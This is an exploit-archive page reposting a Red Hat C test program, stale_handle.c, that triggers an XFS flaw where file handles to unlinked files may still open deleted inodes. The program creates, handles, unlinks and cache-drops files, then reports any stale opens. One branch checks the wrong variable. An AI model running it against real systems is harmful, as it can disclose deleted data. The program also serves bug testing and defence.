首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
XFS Deleted Inode Local Information Disclosure Vulnerability
来源:vfocus.net 作者:vfocus 发布时间:2010-09-30  

*  stale_handle.c - attempt to create a stale handle and open it
*
*  Copyright (C) 2010 Red Hat, Inc. All Rights reserved.
*
*  This program is free software; you can redistribute it and/or modify
*  it under the terms of the GNU General Public License as published by
*  the Free Software Foundation; either version 2 of the License, or
*  (at your option) any later version.
*
*  This program is distributed in the hope that it will be useful,
*  but WITHOUT ANY WARRANTY; without even the implied warranty of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*  GNU General Public License for more details.
*
*  You should have received a copy of the GNU General Public License
*  along with this program; if not, write to the Free Software
*  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

*  Credit: David Chinner
*  The XFS filesystem is prone to a local information-disclosure vulnerability.
*
*  Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.  *  Denial-of-service attacks may also be possible.
*/

#define TEST_UTIME

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <xfs/xfs.h>
#include <xfs/handle.h>

#define NUMFILES 1024
int main(int argc, char **argv)
{
      int     i;
      int     fd;
      int     ret;
      int     failed = 0;
      char    fname[MAXPATHLEN];
      char    *test_dir;
      void    *handle[NUMFILES];
      size_t  hlen[NUMFILES];
      char    fshandle[256];
      size_t  fshlen;
      struct stat st;


      if (argc != 2) {
              fprintf(stderr, "usage: stale_handle test_dir\n");
              return EXIT_FAILURE;
      }

      test_dir = argv[1];
      if (stat(test_dir, &st) != 0) {
              perror("stat");
              return EXIT_FAILURE;
      }

      ret = path_to_fshandle(test_dir, (void **)fshandle, &fshlen);
      if (ret < 0) {
              perror("path_to_fshandle");
              return EXIT_FAILURE;
      }

      /*
       * create a large number of files to force allocation of new inode
       * chunks on disk.
       */
      for (i=0; i < NUMFILES; i++) {
              sprintf(fname, "%s/file%06d", test_dir, i);
              fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0644);
              if (fd < 0) {
                      printf("Warning (%s,%d), open(%s) failed.\n", __FILE__,
__LINE__, fname);
                      perror(fname);
                      return EXIT_FAILURE;
              }
              close(fd);
      }

      /* sync to get the new inodes to hit the disk */
      sync();

      /* create the handles */
      for (i=0; i < NUMFILES; i++) {
              sprintf(fname, "%s/file%06d", test_dir, i);
              ret = path_to_handle(fname, &handle[i], &hlen[i]);
              if (ret < 0) {
                      perror("path_to_handle");
                      return EXIT_FAILURE;
              }
      }

      /* unlink the files */
      for (i=0; i < NUMFILES; i++) {
              sprintf(fname, "%s/file%06d", test_dir, i);
              ret = unlink(fname);
              if (ret < 0) {
                      perror("unlink");
                      return EXIT_FAILURE;
              }
      }

      /* sync to get log forced for unlink transactions to hit the disk */
      sync();

      /* sync once more FTW */
      sync();

      /*
       * now drop the caches so that unlinked inodes are reclaimed and
       * buftarg page cache is emptied so that the inode cluster has to be
       * fetched from disk again for the open_by_handle() call.
       */
      system("echo 3 > /proc/sys/vm/drop_caches");

      /*
       * now try to open the files by the stored handles. Expecting ENOENT
       * for all of them.
       */
      for (i=0; i < NUMFILES; i++) {
              errno = 0;
              fd = open_by_handle(handle[i], hlen[i], O_RDWR);
              if (fd < 0 && errno == ENOENT) {
                      free_handle(handle[i], hlen[i]);
                      continue;
              }
              if (ret >= 0) {
                      printf("open_by_handle(%d) opened an unlinked file!\n",
i);
                      close(fd);
              } else
                      printf("open_by_handle(%d) returned %d incorrectly on
an unlinked file!\n", i, errno);
              free_handle(handle[i], hlen[i]);
              failed++;
      }
      if (failed)
              return EXIT_FAILURE;
      return EXIT_SUCCESS;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Webspell wCMS-Clanscript4.01.0
·Quick Player 1.3 Unicode SEH E
·Linux Kernel < 2.6.36-rc6 pktc
·Microsoft Unicode Scripts Proc
·Joomla JE Job Component SQL in
·Digital Music Pad Version 8.2.
·Joomla JE Directory Component
·iworkstation Version 9.3.2.1.4
·Microsoft IIS 6.0 ASP Stack Ov
·Trend Micro Internet Security
·Microsoft Convertisseur de gro
·Evaria Content Management Syst
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved